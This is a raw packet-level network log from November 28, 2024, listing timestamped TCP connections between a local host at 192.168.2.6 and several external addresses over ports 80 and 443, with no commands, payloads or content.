Nov 28, 2024 02:27:15.344207048 CET	443	49721	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:15.344244003 CET	49721	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:15.344260931 CET	49721	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:15.415064096 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:15.415152073 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:15.416469097 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:15.436018944 CET	49724	443	192.168.2.6	20.223.35.26
Nov 28, 2024 02:27:15.436048031 CET	443	49724	20.223.35.26	192.168.2.6
Nov 28, 2024 02:27:15.436124086 CET	49724	443	192.168.2.6	20.223.35.26
Nov 28, 2024 02:27:15.436544895 CET	49724	443	192.168.2.6	20.223.35.26
Nov 28, 2024 02:27:15.436561108 CET	443	49724	20.223.35.26	192.168.2.6
Nov 28, 2024 02:27:15.537146091 CET	443	49721	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:15.537180901 CET	443	49721	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:15.537219048 CET	49721	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:15.537234068 CET	443	49721	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:15.537280083 CET	49721	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:15.540461063 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:15.562930107 CET	443	49722	20.223.35.26	192.168.2.6
Nov 28, 2024 02:27:15.562952042 CET	443	49722	20.223.35.26	192.168.2.6
Nov 28, 2024 02:27:15.562993050 CET	49722	443	192.168.2.6	20.223.35.26
Nov 28, 2024 02:27:15.563002110 CET	443	49722	20.223.35.26	192.168.2.6
Nov 28, 2024 02:27:15.563013077 CET	49722	443	192.168.2.6	20.223.35.26
Nov 28, 2024 02:27:15.563031912 CET	443	49722	20.223.35.26	192.168.2.6
Nov 28, 2024 02:27:15.563050032 CET	49722	443	192.168.2.6	20.223.35.26
Nov 28, 2024 02:27:15.563121080 CET	49722	443	192.168.2.6	20.223.35.26
Nov 28, 2024 02:27:15.564038992 CET	49722	443	192.168.2.6	20.223.35.26
Nov 28, 2024 02:27:15.564049006 CET	443	49722	20.223.35.26	192.168.2.6
Nov 28, 2024 02:27:15.588659048 CET	443	49721	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:15.588687897 CET	443	49721	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:15.588732958 CET	49721	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:15.588745117 CET	443	49721	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:15.588773966 CET	49721	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:15.588794947 CET	49721	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:15.726536989 CET	443	49721	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:15.726562977 CET	443	49721	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:15.726608038 CET	49721	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:15.726617098 CET	443	49721	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:15.726653099 CET	49721	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:15.726672888 CET	49721	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:15.763809919 CET	443	49721	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:15.763839960 CET	443	49721	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:15.763875008 CET	49721	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:15.763885021 CET	443	49721	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:15.763926983 CET	49721	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:15.763942957 CET	49721	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:15.785418987 CET	443	49721	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:15.785439968 CET	443	49721	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:15.785495043 CET	49721	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:15.785501957 CET	443	49721	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:15.785559893 CET	49721	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:15.785940886 CET	49673	443	192.168.2.6	173.222.162.64
Nov 28, 2024 02:27:15.785947084 CET	49674	443	192.168.2.6	173.222.162.64
Nov 28, 2024 02:27:15.805032969 CET	443	49721	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:15.805062056 CET	443	49721	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:15.805094004 CET	49721	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:15.805100918 CET	443	49721	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:15.805134058 CET	49721	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:15.805155993 CET	49721	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:15.860007048 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:15.860086918 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:15.860238075 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:15.860290051 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:15.866612911 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:15.918906927 CET	49725	443	192.168.2.6	20.223.35.26
Nov 28, 2024 02:27:15.918956995 CET	443	49725	20.223.35.26	192.168.2.6
Nov 28, 2024 02:27:15.919018984 CET	49725	443	192.168.2.6	20.223.35.26
Nov 28, 2024 02:27:15.920228958 CET	49725	443	192.168.2.6	20.223.35.26
Nov 28, 2024 02:27:15.920241117 CET	443	49725	20.223.35.26	192.168.2.6
Nov 28, 2024 02:27:15.935986042 CET	443	49721	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:15.936013937 CET	443	49721	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:15.936068058 CET	49721	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:15.936075926 CET	443	49721	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:15.936122894 CET	49721	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:15.950683117 CET	443	49721	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:15.950712919 CET	443	49721	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:15.950752974 CET	49721	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:15.950763941 CET	443	49721	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:15.950804949 CET	49721	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:15.967130899 CET	443	49721	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:15.967154980 CET	443	49721	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:15.967204094 CET	49721	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:15.967211008 CET	443	49721	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:15.967266083 CET	49721	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:15.983326912 CET	443	49721	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:15.983351946 CET	443	49721	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:15.983392954 CET	49721	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:15.983401060 CET	443	49721	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:15.983438969 CET	49721	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:15.990592003 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:15.997672081 CET	443	49721	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:15.997690916 CET	443	49721	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:15.997757912 CET	49721	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:15.997766018 CET	443	49721	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:15.997808933 CET	49721	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:15.999761105 CET	443	49721	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:15.999824047 CET	443	49721	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:15.999852896 CET	49721	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:15.999861002 CET	443	49721	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:15.999870062 CET	49721	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:16.078310013 CET	49726	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:16.078329086 CET	443	49726	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:16.079113960 CET	49727	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:16.079164028 CET	49726	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:16.079170942 CET	443	49727	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:16.079200983 CET	49728	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:16.079221964 CET	443	49728	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:16.079305887 CET	49727	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:16.079305887 CET	49728	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:16.079817057 CET	49726	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:16.079833031 CET	443	49726	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:16.079941034 CET	49727	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:16.079941034 CET	49728	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:16.079994917 CET	443	49727	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:16.080027103 CET	443	49728	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:16.081155062 CET	49729	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:16.081162930 CET	443	49729	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:16.081320047 CET	49729	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:16.081605911 CET	49730	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:16.081609964 CET	49729	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:16.081621885 CET	443	49729	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:16.081629038 CET	443	49730	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:16.083399057 CET	49730	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:16.083506107 CET	49730	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:16.083534002 CET	443	49730	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:16.101177931 CET	49672	443	192.168.2.6	173.222.162.64
Nov 28, 2024 02:27:16.309628010 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:16.309885979 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:16.309891939 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:16.309901953 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:16.310061932 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:16.310476065 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:16.310491085 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:16.310668945 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:16.311549902 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:16.311681986 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:16.311789036 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:16.312146902 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:16.312273979 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:16.313491106 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:16.379587889 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:16.379607916 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:16.379821062 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:16.414427996 CET	49732	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:16.414484978 CET	443	49732	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:16.414755106 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:16.414773941 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:16.414823055 CET	49732	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:16.414855003 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:16.415524006 CET	49734	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:16.415543079 CET	443	49734	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:16.415669918 CET	49734	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:16.417395115 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:16.417404890 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:16.420205116 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:16.420216084 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:16.420262098 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:16.420883894 CET	49732	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:16.420908928 CET	443	49732	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:16.421045065 CET	49734	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:16.421060085 CET	443	49734	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:16.421513081 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:16.421525002 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:16.421669960 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:16.421679974 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:16.437165976 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:16.756341934 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:16.756607056 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:16.774667025 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:16.774667025 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:16.898406029 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:16.898412943 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:16.898448944 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:16.898466110 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:16.898580074 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:16.898636103 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:16.898670912 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:17.299724102 CET	443	49724	20.223.35.26	192.168.2.6
Nov 28, 2024 02:27:17.299803972 CET	49724	443	192.168.2.6	20.223.35.26
Nov 28, 2024 02:27:17.710026026 CET	443	49729	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:17.713339090 CET	443	49730	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:17.750691891 CET	49729	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:17.750715017 CET	443	49729	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:17.751277924 CET	49729	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:17.751282930 CET	443	49729	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:17.751600027 CET	49730	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:17.751630068 CET	443	49730	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:17.752042055 CET	49730	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:17.752048969 CET	443	49730	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:17.766705036 CET	443	49725	20.223.35.26	192.168.2.6
Nov 28, 2024 02:27:17.769242048 CET	49725	443	192.168.2.6	20.223.35.26
Nov 28, 2024 02:27:17.806963921 CET	49725	443	192.168.2.6	20.223.35.26
Nov 28, 2024 02:27:17.806977987 CET	443	49725	20.223.35.26	192.168.2.6
Nov 28, 2024 02:27:17.817204952 CET	49725	443	192.168.2.6	20.223.35.26
Nov 28, 2024 02:27:17.817213058 CET	443	49725	20.223.35.26	192.168.2.6
Nov 28, 2024 02:27:17.840082884 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:17.840240955 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:17.909921885 CET	443	49726	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:17.915210009 CET	49726	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:17.915219069 CET	443	49726	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:17.915865898 CET	49726	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:17.915870905 CET	443	49726	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:17.916120052 CET	49724	443	192.168.2.6	20.223.35.26
Nov 28, 2024 02:27:17.916137934 CET	443	49724	20.223.35.26	192.168.2.6
Nov 28, 2024 02:27:17.916687965 CET	49724	443	192.168.2.6	20.223.35.26
Nov 28, 2024 02:27:17.916696072 CET	443	49724	20.223.35.26	192.168.2.6
Nov 28, 2024 02:27:17.917570114 CET	443	49728	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:17.917756081 CET	443	49727	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:17.918026924 CET	49728	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:17.918045998 CET	443	49728	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:17.918438911 CET	49728	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:17.918445110 CET	443	49728	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:17.918869019 CET	49727	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:17.918885946 CET	443	49727	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:17.919332981 CET	49727	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:17.919337988 CET	443	49727	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:17.970201015 CET	443	49732	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:17.970284939 CET	49732	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:18.051671982 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:18.051779032 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:18.052855015 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:18.052926064 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:18.060775042 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:18.060833931 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:18.080234051 CET	443	49734	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:18.080312967 CET	49734	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:18.163181067 CET	443	49729	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:18.163245916 CET	443	49729	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:18.163400888 CET	49729	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:18.170033932 CET	443	49730	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:18.170058966 CET	443	49730	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:18.170106888 CET	49730	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:18.170116901 CET	443	49730	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:18.170835018 CET	443	49730	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:18.170887947 CET	49730	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:18.218903065 CET	49729	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:18.218904018 CET	49730	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:18.218914986 CET	443	49729	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:18.218916893 CET	443	49730	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:18.218925953 CET	49729	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:18.218934059 CET	443	49729	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:18.223419905 CET	49736	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:18.223440886 CET	443	49736	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:18.223514080 CET	49736	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:18.225389957 CET	49737	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:18.225445032 CET	443	49737	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:18.225531101 CET	49737	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:18.225622892 CET	49736	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:18.225634098 CET	443	49736	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:18.225733995 CET	49737	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:18.225750923 CET	443	49737	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:18.250668049 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:18.334481001 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:18.334498882 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:18.334842920 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:18.334866047 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:18.334892988 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:18.335048914 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:18.335076094 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:18.335244894 CET	49732	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:18.335267067 CET	443	49732	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:18.335361004 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:18.335371017 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:18.335514069 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:18.335560083 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:18.335625887 CET	443	49732	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:18.335676908 CET	49732	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:18.335861921 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:18.336087942 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:18.336740017 CET	49734	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:18.336751938 CET	443	49734	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:18.337033033 CET	443	49734	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:18.337076902 CET	49734	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:18.337095022 CET	49734	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:18.337299109 CET	49732	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:18.337862015 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:18.338351011 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:18.361819983 CET	443	49726	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:18.361903906 CET	443	49726	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:18.361963987 CET	49726	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:18.362205982 CET	49726	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:18.362217903 CET	443	49726	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:18.362246037 CET	49726	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:18.362251043 CET	443	49726	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:18.365693092 CET	49738	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:18.365712881 CET	443	49738	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:18.366137981 CET	49738	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:18.366189003 CET	49738	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:18.366199970 CET	443	49738	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:18.374340057 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:18.375982046 CET	443	49727	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:18.376008034 CET	443	49727	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:18.376076937 CET	49727	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:18.376090050 CET	443	49727	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:18.376147985 CET	49727	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:18.376338959 CET	49727	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:18.376346111 CET	443	49727	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:18.376364946 CET	49727	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:18.376511097 CET	443	49727	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:18.376542091 CET	443	49727	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:18.376597881 CET	49727	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:18.378902912 CET	49739	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:18.378942966 CET	443	49739	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:18.379035950 CET	443	49728	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:18.379054070 CET	443	49728	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:18.379065037 CET	49739	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:18.379117012 CET	49728	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:18.379126072 CET	443	49728	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:18.379169941 CET	49728	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:18.379265070 CET	49728	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:18.379265070 CET	49728	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:18.379271984 CET	443	49728	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:18.379303932 CET	49739	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:18.379323959 CET	443	49739	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:18.379324913 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:18.379334927 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:18.379338026 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:18.379343033 CET	443	49732	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:18.379357100 CET	443	49734	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:18.379435062 CET	443	49728	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:18.379463911 CET	443	49728	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:18.379508972 CET	49728	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:18.381305933 CET	49740	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:18.381325960 CET	443	49740	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:18.381593943 CET	49740	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:18.381712914 CET	49740	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:18.381725073 CET	443	49740	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:18.413732052 CET	443	49725	20.223.35.26	192.168.2.6
Nov 28, 2024 02:27:18.413753033 CET	443	49725	20.223.35.26	192.168.2.6
Nov 28, 2024 02:27:18.413769007 CET	443	49725	20.223.35.26	192.168.2.6
Nov 28, 2024 02:27:18.413997889 CET	49725	443	192.168.2.6	20.223.35.26
Nov 28, 2024 02:27:18.413997889 CET	49725	443	192.168.2.6	20.223.35.26
Nov 28, 2024 02:27:18.414010048 CET	443	49725	20.223.35.26	192.168.2.6
Nov 28, 2024 02:27:18.414071083 CET	49725	443	192.168.2.6	20.223.35.26
Nov 28, 2024 02:27:18.588414907 CET	443	49724	20.223.35.26	192.168.2.6
Nov 28, 2024 02:27:18.588440895 CET	443	49724	20.223.35.26	192.168.2.6
Nov 28, 2024 02:27:18.588473082 CET	49724	443	192.168.2.6	20.223.35.26
Nov 28, 2024 02:27:18.588485003 CET	443	49724	20.223.35.26	192.168.2.6
Nov 28, 2024 02:27:18.588509083 CET	49724	443	192.168.2.6	20.223.35.26
Nov 28, 2024 02:27:18.588546991 CET	49724	443	192.168.2.6	20.223.35.26
Nov 28, 2024 02:27:18.588963032 CET	49724	443	192.168.2.6	20.223.35.26
